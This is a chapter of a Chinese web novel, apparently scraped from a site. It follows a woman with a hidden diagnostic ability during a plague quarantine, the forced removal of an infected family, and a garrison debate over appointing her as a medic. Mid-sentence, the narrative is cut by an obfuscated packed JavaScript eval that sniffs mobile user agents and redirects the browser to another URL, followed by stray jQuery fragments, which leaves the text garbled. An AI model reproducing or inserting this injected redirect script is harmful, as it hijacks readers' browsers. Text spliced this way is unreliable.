10. 吝啬鬼

作品:《流民她青史留名

    前面的黑痣医正竖着耳朵听着这二人嘀嘀咕咕了半天,声音太小,听不大请。


    偶尔稍微清楚些的字眼,也听不懂,估计说的是方言。他撇撇嘴,兴致缺缺,不再探听。


    江离不着痕迹地看他一眼,又继续手上的工作。


    队伍浩浩荡荡穿过了十余条街,总算快把这个小县城巡完,蒋校尉的声音也已经开始嘶哑。


    按照之前的策划,这一路上都有戎州军把守。百姓大门紧闭,躲在门后听街上的动静,偶尔有胆子大些的,爬上围墙探望,也无人阻止。


    众人路过一户还算富裕的青砖房,围墙上鬼鬼祟祟地探出个圆滚滚的脑袋。


    姜鹤羽的目光在那个胖胖的中年人脸上滑过,忽然一顿。


    她悄然调用秋毫,果然见他肺上零星有几片阴影。


    “等一下,他有问题。”她出声叫停队伍。


    街上所有人都顺着她手指的方向看过去,其他院子的围墙上也紧跟着探出了不少看热闹的人。


    江离仔细看了看那愣住的男人,面色红润,精神十足。他看不出问题所在,但还是相信姜鹤羽的判断。


    “你又知道他有问题了?他看起来比老夫还康健!”前面的黑痣医正又急得跳脚。


    姜鹤羽不想跟这种只讲情绪不讲道理的人多费口舌,直接无视他。


    “黄医正!”蒋校尉厉声喝止,转而问姜鹤羽:“姜娘子何出此言?”


    “他面色不对,应当是在发低热,两日内必会发病。”姜鹤羽紧盯着墙上那张脸。他已经被感染,只是目前外部的病症暂时不明显罢了。


    江离经此一言也发现那人的脸红得不正常,更像是红中发乌。


    中年男人闻言,像是被吓到了,立即缩回头,消失在围墙上。


    蒋校尉转而看向张医正,张医正摸了把胡须,回忆着刚刚那人的面色,迟疑地点点头。


    一队全副武装、包头覆面的士兵迅速集结,冲上前去拍门。为首的人举着横刀,大喊:“开门,装什么傻!跟我们到病棚去!”


    “我没病!我没病!”门后传来中年男人慌乱的声音。


    其他院墙上的人交头接耳,面露忧惧。


    “我看他不像有病的样子啊。”


    “哼,官老爷想抓人,哪管你那么多!”


    “姚家那么有钱,给点银子打点打点算了。”


    “他那点儿银子够官老爷们塞牙缝么?”


    “这,他的家业都不行,那我更没有了……”


    王振见议论声越来越多,准备速战速决。他翻开名册查了查,高声道:“姚光祖,你也有妻有女,小有家业,不是没见识的。有病就治,别连累了一家子人!”


    门后的姚光祖抖着嗓子吼:“你们也知道我有妻有女啊?把我抓走弄死了,是想让她们娘俩也活不了吗?”


    “是啊是啊,这是强抢啊!”


    “这怎么行,没病也抓,那岂不是早晚抓到你我头上?!”


    “天呐!我一家老小全靠我一人养着,把我抓了他们可怎么活啊?这不是逼着我们老百姓家破人亡吗?”


    “都怪你胡言乱语,现在怎么办?我就说,女人懂什么医术,只会妖言惑众,哄得不懂行的傻子团团转!”黄医正眼见门内门外僵持不下,百姓也开始骚动,恨恨瞪向姜鹤羽。


    姜鹤羽低着头,凝神沉思,依旧把他当空气。


    江离却忍不住讽他:“女子生下来便是女子,不像黄医正,生下来便会医术。”


    “你……”黄医正气得老脸通红,“你也是个傻子!”


    姜鹤羽思考了一会儿,抬头扬声道:“校尉,据我推测,这位染病的时间应当不会超过一日,所以病症并不明显。但他这一日内,必定接触过病症严重的人。”


    “不对啊,我离姚家就隔着一堵墙,他们家两日没出门了,去哪里染?”


    “你看漏了吧?姚光祖那个吝啬鬼,哪天不去他铺子里盯着?两日不出门,不怕手下的人做手脚?”


    “我看得真真的,你怎么不信呢!”


    “他说的是真的,我也没见他出门。你们说,是不是他家里的人啊……”


    “对对对,今日我看到李大夫进他们家了,好像还没出来。”


    “对上了,对上了。戒严之前,我去文通巷子找李大夫给我婆娘抓安胎药,医馆里的小童说他出外诊了……”


    姚家门后早已没了动静,蒋校尉听着周围百姓压不住的猜疑声,心中也有了谱,挥挥手:“直接破门!”


    两个身形壮硕的士兵走出队伍,用力撞几下,实木大门“嘭”地应声倒下,后面的人鱼贯而入。


    一阵乒乒乓乓,混着求饶声和尖叫声传到院外。


    不到一炷香的时间,姚家人便全部被带出来,在长街上跪成一排。


    老老少少,连带仆从婢女,共有十五六人。其中最显眼的便是一个被麻绳五花大绑的老者,和一个躺在担架上约莫七八岁的小娘子。那小娘子人事不省,姜鹤羽在她颈间看到了明显的肿块。


    “原来是他家闺女染上病了。”


    “姚光祖不是最疼他闺女么,藏着掖着干什么?”


    “.....他怕病棚那边不给他闺女治,直接一把火烧掉呗,往年又不是没有这种事。”


    “欸,别乱说。我看这个领头的军爷不像那种人!”


    “天杀的,他只顾他自家,还把李大夫捆了,这不就是怕走漏消息吗?”


    “对啊,要不是戒严得及时,我们再接触了他们家的人,这……”


    周围的邻居反应过来,形势瞬间一边倒,都开始骂骂咧咧地朝姚光祖的方向吐唾沫。


    更有不知哪里飞来的一个臭鸡蛋,精准地砸在了姚光祖头上,灰绿色的浑汤顺着他的红脸往下淌。


    姜鹤羽下意识后退半步。这个准头,真是高手在民间。


    王振见群情激动,连忙安排小兵前去连吓带哄地安抚百姓。


    张医正带着几名医正走上前,准备检查这几人的情况。走到一半,他回身,朝姜鹤羽也招了招手。


    姜鹤羽围上统一发放的面巾,戴上手衣,跟了过去。


    几人一番望闻问切,确定了五个需要带走的人。这几人中除了姚光祖和那小娘子必须进病棚,其他人都可先安置在观察棚。


    半刻钟下来,姜鹤羽发现黄医正干起活来还是颇有章法,是个有水平的。只是,能别总是鼻孔朝天对她喷气就更好了。


    “这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419620|168973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些人带走。剩下的留在宅子里,严加看守,一旦有情况不对的立即上报。”蒋校尉安排完,队伍又向前继续游行。


    张医正经过姜鹤羽身边时停下脚步,叹了口气,低声道:“老黄他……本性不坏,你别跟他计较,不搭理就是了。”


    姜鹤羽点点头,不以为意。她一向心宽,只要不妨碍她的正事,别人说什么想什么并不重要。


    此时王振也有意走到江离身边,瞅了眼施施然立在张医正身旁的女子。他有意压低嗓子,但依旧也等于没压,扯着破锣嗓子粗声粗气地质问:“你不是跟我说你妹子胆小么?她这叫胆小?”


    江离面不改色:“队正,在下没有说过。”


    是吗?


    王振挠挠头。他记错了?也有可能,这些天他排查的流民没有一千,也有八百了,记混了很正常。不对.....


    “她明明昨天躲在你身后都不敢出来!”王振眼中迸出怀疑的光。


    江离哪里会让他知道那是因为事发突然,要避免她与中原人不太一样的言行举止被注意到。


    “那是她触景生情,躲在我背后偷偷哭呢。队正,当时您正与我在说家父家母之事。”


    “哦。好像是这样。”王振被说服,又被几句话带得开始同情起这两人孤苦伶仃、相依为命。


    他顿时满脸豪情,一掌拍在江离肩上:“我看校尉有意提拔你,以后你就跟着校尉好好干,少不了你兄妹俩的好日子!”


    江离悠然拱手应是。


    一行人回到驻地,又被叫进主帐继续总结情况,商讨后续。


    蒋校尉甫一坐下,便下令给江离封了个典书的名头,又给了姜鹤羽一个医工的位置。


    众人对江离倒是没什么不满,毕竟他提出的法子确实有效,形象也符合习武之人对读书人的刻板印象。


    况且典书也不过是个不入流的吏员,与他们这些在座的文官武将并无利益冲突。


    然而,姜鹤羽之事却是有些争议。戎州军中也不是没有女子,但除了药童便只有军妓,让一个小娘子做医工实在是过于罕见。


    一些人七嘴八舌地说着些“于礼不合”“并无前例”之类的话。


    蒋校尉游行了一下午,本就疲累,此时又见这些带不动的猪下属们唧唧歪歪不配合工作,登时心头火起:“他娘的!你们一群大字不识几个的粗人懂什么针药之事,就在这里指指点点?一个个做事的时候没点脑子,只会莽着往前冲,王振那蠢驴在你们这儿都是矮子堆里拔高儿了!”


    “这会儿来跟本校尉讲什么礼仪、什么规矩,遵循那些狗屁礼仪规矩能解决瘟疫?老子要是跟你们一样短视,怕是过几天就只能带着你们这些蠢东西一起到阎王爷那里去讲礼仪、讲规矩了!”


    他发泄完,直接举起茶壶仰头咕咚咕咚灌了几大口。


    囫囵抹了一把嘴,见一群武将安静如鸡,气也顺了两分:“姜娘子的能力,今天诸位也是有目共睹。只要在我蒋峰毅手下一天,便凭本事吃一天饭,别在我面前整那些弯弯绕绕的,自己脑子里好好拎清楚!”


    他威严的目光在每个人脸上都扫了一遍,重重躺进胡椅:“行了,我也不在这里外行指教内行了,收不收姜娘子由医正们说了算。”